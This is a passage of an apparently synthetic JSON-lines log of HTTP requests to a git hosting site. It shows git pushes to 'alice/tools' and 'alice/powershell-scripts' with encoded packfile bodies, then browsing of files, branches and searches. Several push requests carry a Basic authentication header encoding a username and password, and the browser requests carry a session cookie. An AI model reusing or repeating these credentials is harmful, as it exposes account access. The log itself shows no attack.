qgU4sQF4nPMvKMnMzytW0PXMS0mtSC3mAgA5BQYUNnicSylKTCvhAgAIQAIcrQJ4nDM0MDAzMVFIyU/OTi3STc0rKaosyM/MK2EwlNlx2uGU5d7E5T2We5qlPpa4xEUBAGp2Eai0AXicU1bUT8rM0y/O4EqtSE1WUFJxUOICADrbBTiyAnicK04tKstMTi224lJQKE9NAlEKCpm5iempVgp56Zl5FVwAvLIKdq8CeJwzNDAwMzFRyEosS9TLScxL1wsuKcoEUrkpDDqcykduszK1ZnX7O/2+3DJ3wducWABo9hG0OXicU1YILinKzEvnAgANQQLFqQV4nDM0MDAzMVHIzCsuSczJ0S1OLsosKNErzmA4WsLziFHnpxzTZC5LhjXrhBeuDpcyhCguqCzJyM8z1k3OSE3O1iuoZNjBZ6S0Ws37+qnf5umeeyUa/a+llwEAQ3sf9roBeJxTVtRPyszTL87gSk3OyFfIzCsuSczJycxL5wIAbs0Ivzx4nCsoyswr0VDKyFTS5AIAHBwDnqwCeJwzNDAwMzFRKCjKT04tLtZLzSvTS9ErKWZoZrzwV9ki/dEqV+5di3c4P5qYE/gAAFOgEcS7AnicS0lNzkksSlVIzs8rLlFIzSuzUghKTc4vSrEpLinKzEvXUYDQdtZcAF6zD3MdeaAnWyIMS8cNQ71Ry9eDVrG43w=="}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 617"], "body": "MDBjMjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZjdmZmE2MDM5NmQ5OWY2MTMxNWE1YTlhMjI1ZmMzMmViNjIyOGZkYiByZWZzL2hlYWRzL3B5dGhvbjMtbWlncmF0aW9uACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAElg14nJWNSwoCMRBE9zlF7wVJ0j35gIgewEMk6Q4OzJhhiKK3Nx7B2hS8R1F9F4GKwoGzUAmFinHOMCUO1gyKjrC6yDb6qLa0y6NDzjJZiykmqoHEF2RvtauUmbUbJkpAHbNKz35vO1yXuQic0q8u8k7rtsixtPUMxkfCYCbn4aBH1KDr3Lv8NVK39hLoDbbP+Hug+gLJoT+v+gPNgl/qzUzIUFkPJCiBpNxFCX63QXicO8h0kGkDP6NRbPrloHwvB+O3XZczPxVe7CwzvnPLxAAIFIqLkhlSck/+39vrYW/VJrD/AovcukaHxZYA3WMY768HeJwzNDAwMzFRyMwrLknMydEtTi7KLCjRK85gOFrC84hR56cc02QuS4Y164QXrg6XMoQozs1ML0osSdUrqGTYKb5c7aT9BD1nTdkJnNc8mluFrdOhqgoqSzLy84x1kzNSk7NBanfwGSmtVvO+fuq3ebrnXolG/2vpZQCoeiylOXicKyjKzCvRMNTkAgAQzwK6yhVHjb1hxkRjVbbQfVlakFC62Bw="}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 475"], "body": "MDBjNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgNGI1ZWMxYWFiNjUyNzJiNjNiNWIxZjM5YmZjMmMxNDY4NGMwNjNhMCByZWZzL2hlYWRzL2ZlYXQvZG9ja2VyLXN1cHBvcnQAIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAOVDXiclYtbCsIwEEX/s4r8CzLNswERC25kJjODxdaWEMHlW5fg/TlwDrc3EesIQyoeoOQQaXCclFExhsqOKEQFUFJwZscmr26JJDrnsWDQMUiunrODpIGYIR2lyOihkMF3f2zNTstcxV7wh5t8cN0XOddtvdohl+DHIaZsT3DMHHade5e/TmZitvetPqXpvIj5AnIRP0P5As2CX+rNTMhQWQ8kKIGk3EUJfrdBeJw7yPScaUKQvEt+cnZqUVpmTipD+l/zCRITa+JfuB2Sut6UzLn8RVLLRO9vAGSzEms8eJxzC/L3VUjMKcjMS+UCABjGA9h6SWeBbtf5prUzWzGtbNHU1VZzAQ=="}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 218"], "body": "MDBiNjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL3RhZ3MvdjEuMC4wACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAAAp0IgjvYqOq1EK1qx1yCPP0+0x4="}
{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
{"method": "POST", "target": "/alice/powershell-scripts.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 397"], "body": "MDBiNTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZGQxYzIyM2RjZWI1NDQxMjdiNzhjZGMyYTZjZTM1NmY4ZWQ5NGYyZCByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAObCXiclYtRCsIwEAX/c4r9FyTbmO0GRPQoSXzBQGOlrODxrUdwfgYGxjaARNsEbjJ5pCRVYp0DtxCKIkfPUqLXO6O4/LbHutFt6RV0zj9d8cnjteBY13EhntMpKEdROvgdt9fRzfDX5Pqzm/sCJg8twKUCeJwzNDAwMzFRCHJ1dPF11ctNYXDttjkS9vTmppsC4WHfVpXW8TJZuQIA3ioNSjp4nFNWKE4uyiwoKeYCABGaA1YUrPZOD6Y21E0qY7z1OfdB9DOSug=="}
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 212"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001fref-prefix refs/heads/main\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
{"method": "GET", "target": "/assets/js/activity-heatmap.514f8f16.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/bin/docker-entrypoint", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/src/process.env.d.ts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/docs/java.lang.String.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/%5Bdraft%5D.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/raw/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/raw/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/blame/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/feat/docker-support/Dockerfile", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/tags", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-activity-top-authors-contributors-graph-code-frequency-graph-recent-commits-graph.2afcdb46.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-activity-top-authors.0b8b147c.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/graph", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/dropzone.5a752d14.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/dropzone.265e21d7.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/tag/v1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/archive/main.zip", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: session=d65379616ffd0971; lang=en-US", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
